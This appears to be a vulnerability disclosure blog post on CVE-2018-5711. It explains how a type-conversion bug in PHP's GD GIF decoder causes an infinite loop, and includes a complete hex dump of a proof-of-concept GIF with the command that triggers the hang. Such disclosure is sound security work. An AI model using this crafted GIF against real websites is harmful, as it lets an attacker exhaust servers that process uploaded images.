PHP CVE-2018-5711 - Hanging Websites by a Harmful GIF

Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.

This is an simple and interesting case, and seems easy to exploit in real world!

Affected

All PHP version

  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

Vulnerability Details

The vulnerability is on the file ext/gd/libgd/gd_gif_in.c. There is a while-loop in LWZReadByte_:

1
2
3
4
460    do {
461 sd->firstcode = sd->oldcode =
461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463 } while (sd->firstcode == sd->clear_code);

Function GetCode is just a wrapper, and GetCode_ do the real stuff.

1
2
3
4
5
6
7
8
9
10
11
12
376    static int
377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378 {
379 int i, j, ret;
380 unsigned char count;
...

399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400 scd->done = TRUE;
...

405 }

GetCode_ call GetDataBlock to read data from GIF!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
332    static int
333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334 {
335 unsigned char count;
336
336 if (! ReadOK(fd,&count,1)) {
338 return -1;
339 }
340
341 *ZeroDataBlockP = count == 0;
342
343 if ((count != 0) && (! ReadOK(fd, buf, count))) {
344 return -1;
345 }
346
347 return count;
348 }

OK, here are all vulnerable code, can you spot the vulnerability? :P

The bug relied on the type conversion from int to unsigned char. As you can see, if GetDataBlock_ return -1, scd->done in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of count is unsigned char, it’s always be a positive from 0 to 255.

So the result is, one single GIF can make an infinite loop and exhausted the server resource.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
$ xxd poc.gif
00000000: 4749 4638 3961 4030 8230 9130 357c 3030 GIF89a@0.0.05|00
00000010: 3022 2e30 3030 3030 21f9 0401 3030 3000 0".00000!...000.
00000020: 2c30 0030 0040 0040 0048 03ff 8888 8888 ,0.0.@.@.H......
00000030: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000040: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000050: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000060: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000070: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000080: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000090: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000000a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000000b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000000c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000000d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000000e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000000f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000100: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000110: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000120: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000130: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000140: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000150: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000160: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000170: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000180: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000190: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000001a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000001b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000001c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000001d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000001e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000001f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000200: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000210: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000220: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000230: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000240: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000250: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000260: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000270: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000280: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000290: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000002a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000002b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000002c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000002d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000002e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000002f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000300: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000310: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000320: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000330: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000340: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000350: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000360: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000370: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000380: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000390: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000003a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000003b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000003c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000003d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000003e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000003f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000400: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000410: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000420: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000430: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000440: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000450: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000460: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000470: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000480: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000490: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000004a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000004b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000004c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000004d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000004e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000004f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000500: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000510: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000520: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000530: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000540: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000550: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000560: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000570: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000580: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000590: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000005a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000005b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000005c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000005d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000005e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000005f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000600: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000610: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000620: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000630: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000640: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000650: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000660: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000670: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000680: 8888 8888 8888 8888 8888 8888 8888 8888 ................
00000690: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000006a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000006b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................
000006c0: 8888 88 ...

$ php -r 'imagecreatefromgif("poc.gif");'

Infinite loop here...

It’s easy to exploit in real world because lots of websites resize user-uploaded image by GD library…

Epilogue

I will disclose more 0-days in the future!

References